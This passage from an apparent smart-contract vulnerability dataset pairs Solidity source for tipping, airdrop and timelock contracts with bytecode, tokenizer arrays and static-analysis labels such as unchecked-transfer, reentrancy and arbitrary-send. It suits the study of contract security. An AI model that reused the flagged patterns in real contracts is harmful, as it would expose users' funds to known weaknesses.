00000000000000000000000000008152600401808060200182810382526025815260200180612f5d6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612b8a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e836023913960400191505060405180910390fd5b612b9583838361287a565b612c0081604051806060016040528060268152602001612eee602691396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d3f9092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612c93816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127f290919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290612dec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612db1578082015181840152602081019050612d96565b50505050905090810190601f168015612dde5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5082840390509392505050565b6000808211612e70576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525060200191505060405180910390fd5b818381612e7957fe5b0490509291505056fe45524332303a207472616e7366657220746f20746865207a65726f20616464726573734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e6365536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220c1c7e64712110fb8d09e1f461104e1ffafd2aff42d32b9b00566ea5f3dad37c664736f6c63430007010033
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'uninitialized-state', 'impact': 'High', 'confidence': 'High'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'arbitrary-send', 'impact': 'High', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 2509, 27717, 20952, 2692, 2278, 2581, 22407, 2575, 2094, 16048, 2620, 2620, 2063, 2692, 24087, 2278, 2509, 3401, 21472, 2546, 16048, 2683, 2487, 3207, 16048, 2475, 4783, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1021, 1012, 1015, 1025, 12324, 1005, 1012, 1013, 2358, 9541, 3351, 1012, 14017, 1005, 1025, 3206, 22078, 2003, 2358, 9541, 3351, 1063, 2478, 3647, 18900, 2232, 2005, 21318, 3372, 17788, 2575, 1025, 2724, 6577, 1006, 4769, 25331, 13180, 1010, 21318, 3372, 17788, 2575, 3802, 3511, 21723, 1010, 21318, 3372, 17788, 2575, 22078, 22591, 16671, 1007, 1025, 2724, 4530, 29493, 8126, 1006, 4769, 25331, 6778, 1010, 21318, 3372, 17788, 2575, 6554, 22591, 16671, 1010, 21318, 3372, 17788, 2575, 22078, 26657, 1007, 1025, 21318, 3372, 17788, 2575, 2270, 22078, 4842, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,720
0x973a4b54a95d3cfefd428b9f1e91b1a960302fcd
// SPDX-License-Identifier: MIT pragma solidity ^0.8.7; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } interface ITokenMover { function isOperator(address _operator) external view returns(bool); function transferERC20(address currency, address from, address to, uint amount) external; function transferERC721(address currency, address from, address to, uint tokenId) external; } contract AppRole is Ownable { address[] private _apps; mapping(address => bool) internal _isApp; modifier onlyApp() { require(_isApp[_msgSender()], "Caller is not the app"); _; } function getAllApps() public view returns(address[] memory) { return _apps; } function isApp(address _app) public view returns(bool) { return _isApp[_app]; } function addApp(address _app) public onlyOwner { require(!_isApp[_app], "Address already added as app"); _apps.push(_app); _isApp[_app] = true; } function removeApp(address _app) public onlyOwner { require(_isApp[_app], "Address is not added as app"); _isApp[_app] = false; for (uint256 i = 0; i < _apps.length; i++) { if (_apps[i] == _app) { _apps[i] = _apps[_apps.length - 1]; _apps.pop(); break; } } } } // This contract enables users to tip their preferred creators contract TipManagerv2 is Ownable, AppRole { ITokenMover public immutable tokenMover; address public immutable PKN; address public pokmiWallet; event tipSent(address user, address creator, uint256 amount, uint256 creatorFeeBIPS); constructor(address _PKN, ITokenMover _tokenMover, address _pokmiWallet) { PKN = _PKN; tokenMover = _tokenMover; pokmiWallet = _pokmiWallet; } function payTip(address user, address creator, uint256 amount, uint256 creatorFeeBIPS) external onlyApp() { uint256 amountForCreator = (amount * creatorFeeBIPS) / 10000; tokenMover.transferERC20(PKN, user, creator, amountForCreator); tokenMover.transferERC20(PKN, user, pokmiWallet, amount - amountForCreator); emit tipSent(user, creator, amount, creatorFeeBIPS); } function updatePokmiWallet(address newWallet) external onlyOwner() { pokmiWallet = newWallet; } }
0x608060405234801561001057600080fd5b50600436106100d45760003560e01c8063b4394aa611610081578063f09768621161005b578063f0976862146101d5578063f2fde38b146101fc578063f6f8f9741461020f57600080fd5b8063b4394aa61461019a578063d0c6fdb7146101af578063e7b4338b146101c257600080fd5b8063715018a6116100b2578063715018a61461016e5780638da5cb5b1461017657806393ac9b161461018757600080fd5b80633ca3ad4e146100d95780634a9aaf2a1461011a578063688c3e401461012f575b600080fd5b6101056100e7366004610a40565b6001600160a01b031660009081526002602052604090205460ff1690565b60405190151581526020015b60405180910390f35b61012d610128366004610a40565b610222565b005b6101567f000000000000000000000000df09a216fac5adc3e640db418c0b95607650950381565b6040516001600160a01b039091168152602001610111565b61012d6102a3565b6000546001600160a01b0316610156565b61012d610195366004610a40565b610309565b6101a2610430565b6040516101119190610aa4565b61012d6101bd366004610a40565b610492565b61012d6101d0366004610a62565b61067d565b6101567f000000000000000000000000874f15088843949fa6ac0834a9933b57e6edfd0881565b61012d61020a366004610a40565b6108f2565b600354610156906001600160a01b031681565b6000546001600160a01b031633146102815760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b600380546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146102fd5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610278565b61030760006109d4565b565b6000546001600160a01b031633146103635760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610278565b6001600160a01b03811660009081526002602052604090205460ff16156103cc5760405162461bcd60e51b815260206004820152601c60248201527f4164647265737320616c726561647920616464656420617320617070000000006044820152606401610278565b6001805480820182557fb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf60180546001600160a01b039093166001600160a01b031990931683179055600091825260026020526040909120805460ff19169091179055565b6060600180548060200260200160405190810160405280929190818152602001828054801561048857602002820191906000526020600020905b81546001600160a01b0316815260019091019060200180831161046a575b5050505050905090565b6000546001600160a01b031633146104ec5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610278565b6001600160a01b03811660009081526002602052604090205460ff166105545760405162461bcd60e51b815260206004820152601b60248201527f41646472657373206973206e6f742061646465642061732061707000000000006044820152606401610278565b6001600160a01b0381166000908152600260205260408120805460ff191690555b60015481101561067957816001600160a01b03166001828154811061059c5761059c610b90565b6000918252602090912001546001600160a01b0316141561066757600180546105c6908290610b32565b815481106105d6576105d6610b90565b600091825260209091200154600180546001600160a01b03909216918390811061060257610602610b90565b9060005260206000200160006101000a8154816001600160a01b0302191690836001600160a01b03160217905550600180548061064157610641610b7a565b600082815260209020810160001990810180546001600160a01b03191690550190555050565b8061067181610b49565b915050610575565b5050565b3360009081526002602052604090205460ff166106dc5760405162461bcd60e51b815260206004820152601560248201527f43616c6c6572206973206e6f74207468652061707000000000000000000000006044820152606401610278565b60006127106106eb8385610b13565b6106f59190610af1565b60405163368fa33960e21b81526001600160a01b037f000000000000000000000000df09a216fac5adc3e640db418c0b9560765095038116600483015287811660248301528681166044830152606482018390529192507f000000000000000000000000874f15088843949fa6ac0834a9933b57e6edfd089091169063da3e8ce490608401600060405180830381600087803b15801561079457600080fd5b505af11580156107a8573d6000803e3d6000fd5b50506003546001600160a01b037f000000000000000000000000874f15088843949fa6ac0834a9933b57e6edfd088116935063da3e8ce492507f000000000000000000000000df09a216fac5adc3e640db418c0b956076509503918991166108108689610b32565b6040517fffffffff0000000000000000000000000000000000000000000000000000000060e087901b1681526001600160a01b0394851660048201529284166024840152921660448201526064810191909152608401600060405180830381600087803b15801561088057600080fd5b505af1158015610894573d6000803e3d6000fd5b5050604080516001600160a01b03808a16825288166020820152908101869052606081018590527f06e6ed6f82ce70cd2c5bb6759f57b1e405fc2050cd1f70143e99a8682272f35b9250608001905060405180910390a15050505050565b6000546001600160a01b0316331461094c5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610278565b6001600160a01b0381166109c85760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f64647265737300000000000000000000000000000000000000000000000000006064820152608401610278565b6109d1816109d4565b50565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b80356001600160a01b0381168114610a3b57600080fd5b919050565b600060208284031215610a5257600080fd5b610a5b82610a24565b9392505050565b60008060008060808587031215610a7857600080fd5b610a8185610a24565b9350610a8f60208601610a24565b93969395505050506040820135916060013590565b6020808252825182820181905260009190848201906040850190845b81811015610ae55783516001600160a01b031683529284019291840191600101610ac0565b50909695505050505050565b600082610b0e57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615610b2d57610b2d610b64565b500290565b600082821015610b4457610b44610b64565b500390565b6000600019821415610b5d57610b5d610b64565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603160045260246000fd5b634e487b7160e01b600052603260045260246000fdfea26469706673582212205fa5cf8345534ed3848c3ea752aaeff26939d64583d729434baf60d1bf086dbc64736f6c63430008070033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2581, 2509, 2050, 2549, 2497, 27009, 2050, 2683, 2629, 2094, 2509, 2278, 7959, 2546, 2094, 20958, 2620, 2497, 2683, 2546, 2487, 2063, 2683, 2487, 2497, 2487, 2050, 2683, 16086, 14142, 2475, 11329, 2094, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1021, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 3640, 2592, 2055, 1996, 2783, 7781, 6123, 1010, 2164, 1996, 1008, 4604, 2121, 1997, 1996, 12598, 1998, 2049, 2951, 1012, 2096, 2122, 2024, 3227, 2800, 1008, 3081, 5796, 2290, 1012, 4604, 2121, 1998, 5796, 2290, 1012, 2951, 1010, 2027, 2323, 2025, 2022, 11570, 1999, 2107, 1037, 3622, 1008, 5450, 1010, 2144, 2043, 7149, 2007, 18804, 1011, 11817, 1996, 4070, 6016, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,721
0x973A526a633313b2d32B9a96ED16E212303D6905
// Dependency file: @openzeppelin/contracts/token/ERC20/IERC20.sol // SPDX-License-Identifier: MIT // pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * // importANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // Dependency file: @openzeppelin/contracts/cryptography/MerkleProof.sol // pragma solidity >=0.6.0 <0.8.0; /** * @dev These functions deal with verification of Merkle trees (hash trees), */ library MerkleProof { /** * @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree * defined by `root`. For this, a `proof` must be provided, containing * sibling hashes on the branch from the leaf to the root of the tree. Each * pair of leaves and each pair of pre-images are assumed to be sorted. */ function verify(bytes32[] memory proof, bytes32 root, bytes32 leaf) internal pure returns (bool) { bytes32 computedHash = leaf; for (uint256 i = 0; i < proof.length; i++) { bytes32 proofElement = proof[i]; if (computedHash <= proofElement) { // Hash(current computed hash + current element of the proof) computedHash = keccak256(abi.encodePacked(computedHash, proofElement)); } else { // Hash(current element of the proof + current computed hash) computedHash = keccak256(abi.encodePacked(proofElement, computedHash)); } } // Check if the computed hash (root) is equal to the provided root return computedHash == root; } } // Dependency file: contracts/interfaces/IMerkleDistributor.sol // pragma solidity ^0.6.10; // Allows anyone to claim a token if they exist in a merkle root. interface IMerkleDistributor { // Returns the address of the token distributed by this contract. function token() external view returns (address); // Returns the merkle root of the merkle tree containing account balances available to claim. function merkleRoot() external view returns (bytes32); // Returns true if the index has been marked claimed. function isClaimed(uint256 index) external view returns (bool); // Claim the given amount of the token to the given address. Reverts if the inputs are invalid. function claim(uint256 index, address account, uint256 amount, bytes32[] calldata merkleProof) external; // This event is triggered whenever a call to #claim succeeds. event Claimed(uint256 index, address account, uint256 amount); } // Root file: contracts/token/MerkleDistributor.sol pragma solidity ^0.6.10; // import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; // import { MerkleProof } from "@openzeppelin/contracts/cryptography/MerkleProof.sol"; // import { IMerkleDistributor } from "contracts/interfaces/IMerkleDistributor.sol"; contract MerkleDistributor is IMerkleDistributor { address public immutable override token; bytes32 public immutable override merkleRoot; // This is a packed array of booleans. mapping(uint256 => uint256) private claimedBitMap; constructor(address token_, bytes32 merkleRoot_) public { token = token_; merkleRoot = merkleRoot_; } function isClaimed(uint256 index) public view override returns (bool) { uint256 claimedWordIndex = index / 256; uint256 claimedBitIndex = index % 256; uint256 claimedWord = claimedBitMap[claimedWordIndex]; uint256 mask = (1 << claimedBitIndex); return claimedWord & mask == mask; } function _setClaimed(uint256 index) private { uint256 claimedWordIndex = index / 256; uint256 claimedBitIndex = index % 256; claimedBitMap[claimedWordIndex] = claimedBitMap[claimedWordIndex] | (1 << claimedBitIndex); } function claim(uint256 index, address account, uint256 amount, bytes32[] calldata merkleProof) external override { require(!isClaimed(index), "MerkleDistributor: Drop already claimed."); // Verify the merkle proof. bytes32 node = keccak256(abi.encodePacked(index, account, amount)); require(MerkleProof.verify(merkleProof, merkleRoot, node), "MerkleDistributor: Invalid proof."); // Mark it claimed and send the token. _setClaimed(index); require(IERC20(token).transfer(account, amount), "MerkleDistributor: Transfer failed."); emit Claimed(index, account, amount); } }
0x608060405234801561001057600080fd5b506004361061004c5760003560e01c80632e7ba6ef146100515780632eb4a7ab146100df5780639e34070f146100f9578063fc0c546a1461012a575b600080fd5b6100dd6004803603608081101561006757600080fd5b8135916001600160a01b03602082013516916040820135919081019060808101606082013564010000000081111561009e57600080fd5b8201836020820111156100b057600080fd5b803590602001918460208302840111640100000000831117156100d257600080fd5b50909250905061014e565b005b6100e76103b1565b60408051918252519081900360200190f35b6101166004803603602081101561010f57600080fd5b50356103d5565b604080519115158252519081900360200190f35b6101326103fb565b604080516001600160a01b039092168252519081900360200190f35b610157856103d5565b156101935760405162461bcd60e51b81526004018080602001828103825260288152602001806104f06028913960400191505060405180910390fd5b6040805160208082018890526bffffffffffffffffffffffff19606088901b1682840152605480830187905283518084039091018152607483018085528151918301919091206094928602808501840190955285825293610236939192879287928392909101908490808284376000920191909152507fb1cec2f92423a2dc20a97598847495c67bf5147b31957642f5694c57880610eb925085915061041f9050565b6102715760405162461bcd60e51b81526004018080602001828103825260218152602001806105186021913960400191505060405180910390fd5b61027a866104c8565b7f0000000000000000000000000954906da0bf32d5479e25f46056d22f08464cab6001600160a01b031663a9059cbb86866040518363ffffffff1660e01b815260040180836001600160a01b03166001600160a01b0316815260200182815260200192505050602060405180830381600087803b1580156102fa57600080fd5b505af115801561030e573d6000803e3d6000fd5b505050506040513d602081101561032457600080fd5b50516103615760405162461bcd60e51b81526004018080602001828103825260238152602001806105396023913960400191505060405180910390fd5b604080518781526001600160a01b038716602082015280820186905290517f4ec90e965519d92681267467f775ada5bd214aa92c0dc93d90a5e880ce9ed0269181900360600190a1505050505050565b7fb1cec2f92423a2dc20a97598847495c67bf5147b31957642f5694c57880610eb81565b6101008104600090815260208190526040902054600160ff9092169190911b9081161490565b7f0000000000000000000000000954906da0bf32d5479e25f46056d22f08464cab81565b600081815b85518110156104bd57600086828151811061043b57fe5b6020026020010151905080831161048257828160405160200180838152602001828152602001925050506040516020818303038152906040528051906020012092506104b4565b808360405160200180838152602001828152602001925050506040516020818303038152906040528051906020012092505b50600101610424565b509092149392505050565b610100810460009081526020819052604090208054600160ff9093169290921b909117905556fe4d65726b6c654469737472696275746f723a2044726f7020616c726561647920636c61696d65642e4d65726b6c654469737472696275746f723a20496e76616c69642070726f6f662e4d65726b6c654469737472696275746f723a205472616e73666572206661696c65642ea264697066735822122069bbd37af31a66218ead83f210becd2ef8dc9042b149f4990ef7f377324281a864736f6c634300060a0033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2581, 2509, 2050, 25746, 2575, 2050, 2575, 22394, 21486, 2509, 2497, 2475, 2094, 16703, 2497, 2683, 2050, 2683, 2575, 2098, 16048, 2063, 17465, 21926, 2692, 29097, 2575, 21057, 2629, 1013, 1013, 24394, 5371, 1024, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 19204, 1013, 9413, 2278, 11387, 1013, 29464, 11890, 11387, 1012, 14017, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 1013, 1013, 10975, 8490, 2863, 5024, 3012, 1028, 1027, 1014, 1012, 1020, 1012, 1014, 1026, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 8278, 1997, 1996, 9413, 2278, 11387, 3115, 2004, 4225, 1999, 1996, 1041, 11514, 1012, 1008, 1013, 8278, 29464, 11890, 11387, 1063, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 1996, 3815, 1997, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,722
0x973afc40383f06454464c0dec5dc5485c103911b
pragma solidity ^0.4.18; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract token { function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public{ owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract lockEtherPay is Ownable { using SafeMath for uint256; token token_reward; address public beneficiary; bool public isLocked = false; bool public isReleased = false; uint256 public start_time; uint256 public end_time; uint256 public fifty_two_weeks = 30585600; event TokenReleased(address beneficiary, uint256 token_amount); constructor() public{ token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6); beneficiary = 0x7dfBB59B9803F9E387E9D6a9c8625490E7913646; } function tokenBalance() constant public returns (uint256){ return token_reward.balanceOf(this); } function lock() public onlyOwner returns (bool){ require(!isLocked); require(tokenBalance() > 0); start_time = now; end_time = start_time.add(fifty_two_weeks); isLocked = true; } function lockOver() constant public returns (bool){ uint256 current_time = now; return current_time > end_time; } function release() onlyOwner public{ require(isLocked); require(!isReleased); require(lockOver()); uint256 token_amount = tokenBalance(); token_reward.transfer( beneficiary, token_amount); emit TokenReleased(beneficiary, token_amount); isReleased = true; } }
0x6080604052600436106100b95763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416631624335681146100be57806338af3eed146100e55780636e15266a14610116578063834ee4171461012b57806386d1a69f146101405780638da5cb5b146101575780639b7faaf01461016c5780639e1a4d1914610195578063a4e2d634146101aa578063f2fde38b146101bf578063f83d08ba146101e0578063fa2a8997146101f5575b600080fd5b3480156100ca57600080fd5b506100d361020a565b60408051918252519081900360200190f35b3480156100f157600080fd5b506100fa610210565b60408051600160a060020a039092168252519081900360200190f35b34801561012257600080fd5b506100d361021f565b34801561013757600080fd5b506100d3610225565b34801561014c57600080fd5b5061015561022b565b005b34801561016357600080fd5b506100fa6103d1565b34801561017857600080fd5b506101816103e0565b604080519115158252519081900360200190f35b3480156101a157600080fd5b506100d36103e8565b3480156101b657600080fd5b5061018161047e565b3480156101cb57600080fd5b50610155600160a060020a036004351661049f565b3480156101ec57600080fd5b50610181610533565b34801561020157600080fd5b506101816105db565b60045481565b600254600160a060020a031681565b60055481565b60035481565b60008054600160a060020a0316331461024357600080fd5b60025474010000000000000000000000000000000000000000900460ff16151561026c57600080fd5b6002547501000000000000000000000000000000000000000000900460ff161561029557600080fd5b61029d6103e0565b15156102a857600080fd5b6102b06103e8565b600154600254604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a03928316600482015260248101859052905193945091169163a9059cbb916044808201926020929091908290030181600087803b15801561032457600080fd5b505af1158015610338573d6000803e3d6000fd5b505050506040513d602081101561034e57600080fd5b505060025460408051600160a060020a0390921682526020820183905280517f9cf9e3ab58b33f06d81842ea0ad850b6640c6430d6396973312e1715792e7a919281900390910190a1506002805475ff00000000000000000000000000000000000000000019167501000000000000000000000000000000000000000000179055565b600054600160a060020a031681565b600454421190565b600154604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051600092600160a060020a0316916370a0823191602480830192602092919082900301818787803b15801561044d57600080fd5b505af1158015610461573d6000803e3d6000fd5b505050506040513d602081101561047757600080fd5b5051905090565b60025474010000000000000000000000000000000000000000900460ff1681565b600054600160a060020a031633146104b657600080fd5b600160a060020a03811615156104cb57600080fd5b60008054604051600160a060020a03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60008054600160a060020a0316331461054b57600080fd5b60025474010000000000000000000000000000000000000000900460ff161561057357600080fd5b600061057d6103e8565b1161058757600080fd5b4260038190556005546105a0919063ffffffff6105fd16565b6004556002805474ff000000000000000000000000000000000000000019167401000000000000000000000000000000000000000017905590565b6002547501000000000000000000000000000000000000000000900460ff1681565b60008282018381101561060c57fe5b93925050505600a165627a7a723058208bcab9cc421c12dbd2a274edc795b51f91654c0bdf6a912f9c772c39147476f00029
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unchecked-transfer', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}]}
